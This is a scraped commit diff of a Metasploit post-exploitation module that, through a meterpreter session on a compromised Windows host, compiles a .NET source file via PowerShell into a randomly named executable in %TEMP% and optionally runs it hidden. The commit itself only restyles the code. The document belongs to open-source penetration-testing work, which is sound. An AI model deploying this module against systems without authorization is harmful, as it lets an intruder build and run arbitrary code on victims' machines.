1
-
2
1
##
3
2
# This module requires Metasploit: http://metasploit.com/download
4
3
# Current source: https://github.com/rapid7/metasploit-framework
@@ -14,57 +13,54 @@ class MetasploitModule < Msf::Post
14
13
include Msf ::Post ::Windows ::Powershell
15
14
include Msf ::Exploit ::Powershell ::DotNet
16
15
17
- def initialize ( info = { } )
18
- super ( update_info ( info ,
19
- 'Name' => "Powershell .NET Compiler" ,
20
- 'Description' => %q{
21
- This module will build a .NET source file using powershell. The compiler builds
22
- the executable or library in memory and produces a binary. After compilation the
23
- PowerShell session can also sign the executable if provided a path the
24
- a .pfx formatted certificate. Compiler options and a list of assemblies
25
- required can be configured in the datastore.
26
- } ,
27
- 'License' => MSF_LICENSE ,
28
- 'Author' => 'RageLtMan <rageltman[at]sempervictus>' ,
29
- 'Platform' => [ 'windows' ] ,
30
- 'SessionTypes' => [ 'meterpreter' ] ,
31
- 'Targets' => [ [ 'Universal' , { } ] ] ,
32
- 'DefaultTarget' => 0 ,
33
- 'DisclosureDate' => 'Aug 14 2012'
34
- ) )
16
+ def initialize ( info = { } )
17
+ super (
18
+ update_info (
19
+ info ,
20
+ 'Name' => "Powershell .NET Compiler" ,
21
+ 'Description' => %q(
22
+ This module will build a .NET source file using powershell. The compiler builds
23
+ the executable or library in memory and produces a binary. After compilation the
24
+ PowerShell session can also sign the executable if provided a path the
25
+ a .pfx formatted certificate. Compiler options and a list of assemblies
26
+ required can be configured in the datastore.
27
+ ) ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'Author' => 'RageLtMan <rageltman[at]sempervictus>' ,
30
+ 'Platform' => [ 'windows' ] ,
31
+ 'SessionTypes' => [ 'meterpreter' ] ,
32
+ 'Targets' => [ [ 'Universal' , { } ] ] ,
33
+ 'DefaultTarget' => 0 ,
34
+ 'DisclosureDate' => 'Aug 14 2012'
35
+ )
36
+ )
35
37
36
38
register_options (
37
39
[
38
40
OptPath . new ( 'SOURCE_FILE' , [ true , 'Path to source code' ] ) ,
39
- OptBool . new ( 'RUN_BINARY' , [ false , 'Execute the genrated binary' , false ] ) ,
40
- OptString . new ( 'ASSEMBLIES' , [
41
- false ,
42
- 'Any assemblies outside the defaults' ,
43
- "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll"
44
- ] ) ,
41
+ OptBool . new ( 'RUN_BINARY' , [ false , 'Execute the generated binary' , false ] ) ,
42
+ OptString . new ( 'ASSEMBLIES' , [ false , 'Any assemblies outside the defaults' ,
43
+ "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ] ) ,
45
44
OptString . new ( 'OUTPUT_TARGET' , [ false , 'Name and path of the generated binary, default random, omit extension' ] ) ,
46
45
OptString . new ( 'COMPILER_OPTS' , [ false , 'Options to pass to compiler' , '/optimize' ] ) ,
47
- OptString . new ( 'CODE_PROVIDER' , [ true , 'Code provider to use' , 'Microsoft.CSharp.CSharpCodeProvider' ] ) ,
48
-
46
+ OptString . new ( 'CODE_PROVIDER' , [ true , 'Code provider to use' , 'Microsoft.CSharp.CSharpCodeProvider' ] )
49
47
] , self . class )
50
48
register_advanced_options (
51
49
[
52
- OptString . new ( 'NET_CLR_VER' , [ false , 'Minimum NET CLR version required to compile' , '4.0' ] ) ,
50
+ OptString . new ( 'NET_CLR_VER' , [ false , 'Minimum NET CLR version required to compile' , '4.0' ] )
53
51
] , self . class )
54
-
55
52
end
56
53
57
54
def run
58
-
59
55
# Make sure we meet the requirements before running the script
60
56
if !( session . type == "meterpreter" || have_powershell? )
61
- print_error ( "Incompatible Environment" )
57
+ print_error "Incompatible Environment"
62
58
return 0
63
59
end
64
60
65
61
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
66
62
if client . sys . config . getuid == 'NT AUTHORITY\SYSTEM'
67
- print_error ( "Cannot run as system" )
63
+ print_error "Cannot run as system"
68
64
return 0
69
65
end
70
66
@@ -73,7 +69,7 @@ def run
73
69
env_suffix = Rex ::Text . rand_text_alpha ( 8 )
74
70
net_com_opts = { }
75
71
net_com_opts [ :target ] = datastore [ 'OUTPUT_TARGET' ] ||
76
- session . fs . file . expand_path ( '%TEMP%' ) + "\\ #{ Rex ::Text . rand_text_alpha ( rand ( 8 ) + 8 ) } .exe"
72
+ session . fs . file . expand_path ( '%TEMP%' ) + "\\ #{ Rex ::Text . rand_text_alpha ( rand ( 8 ) + 8 ) } .exe"
77
73
net_com_opts [ :com_opts ] = datastore [ 'COMPILER_OPTS' ]
78
74
net_com_opts [ :provider ] = datastore [ 'CODE_PROVIDER' ]
79
75
net_com_opts [ :assemblies ] = datastore [ 'ASSEMBLIES' ]
@@ -84,40 +80,40 @@ def run
84
80
net_com_opts [ :harness ] = ::File . read ( datastore [ 'SOURCE_FILE' ] )
85
81
script = dot_net_compiler ( net_com_opts )
86
82
if datastore [ 'Powershell::Post::dry_run' ]
87
- print_good ( "Compiler code:\n #{ script } " )
83
+ print_good "Compiler code:\n #{ script } "
88
84
return
89
85
end
90
86
rescue => e
91
- print_error ( e )
87
+ print_error e
92
88
return
93
89
end
94
90
95
- vprint_good ( "Writing to #{ net_com_opts [ :target ] } " )
91
+ vprint_good "Writing to #{ net_com_opts [ :target ] } "
96
92
97
93
# Execute the powershell script
98
- print_status ( 'Building remote code.' )
94
+ print_status 'Building remote code.'
99
95
cmd_out , running_pids , open_channels = execute_script ( script , true )
100
96
get_ps_output ( cmd_out , eof )
101
- vprint_good ( "Cleaning up #{ running_pids . join ( ', ' ) } " )
97
+ vprint_good "Cleaning up #{ running_pids . join ( ', ' ) } "
102
98
103
99
clean_up ( nil , eof , running_pids , open_channels , env_suffix , false )
104
100
105
101
# Check for result
106
102
begin
107
- size = session . fs . file . stat ( net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) ) . size
108
- print_good ( "File #{ net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) } found, #{ size } kb" )
103
+ size = session . fs . file . stat ( net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) ) . size
104
+ print_good "File #{ net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) } found, #{ size } kb"
109
105
rescue
110
- print_error ( "File #{ net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) } not found, NET CLR version #{ datastore [ 'NET_CLR_VER' ] } possibly not available" )
106
+ print_error "File #{ net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) } not found," \
107
+ " NET CLR version #{ datastore [ 'NET_CLR_VER' ] } possibly not available"
111
108
return
112
109
end
113
110
114
111
# Run the result
115
112
if datastore [ 'RUN_BINARY' ]
116
- session . sys . process . execute ( net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) , nil , { 'Hidden' => true , 'Channelized' => true } )
113
+ session . sys . process . execute ( net_com_opts [ :target ] . gsub ( '\\' , '\\\\' ) ,
114
+ nil , { 'Hidden' => true , 'Channelized' => true } )
117
115
end
118
116
119
- print_good ( 'Finished!' )
117
+ print_good 'Finished!'
120
118
end
121
-
122
-
123
119
end
0 commit comments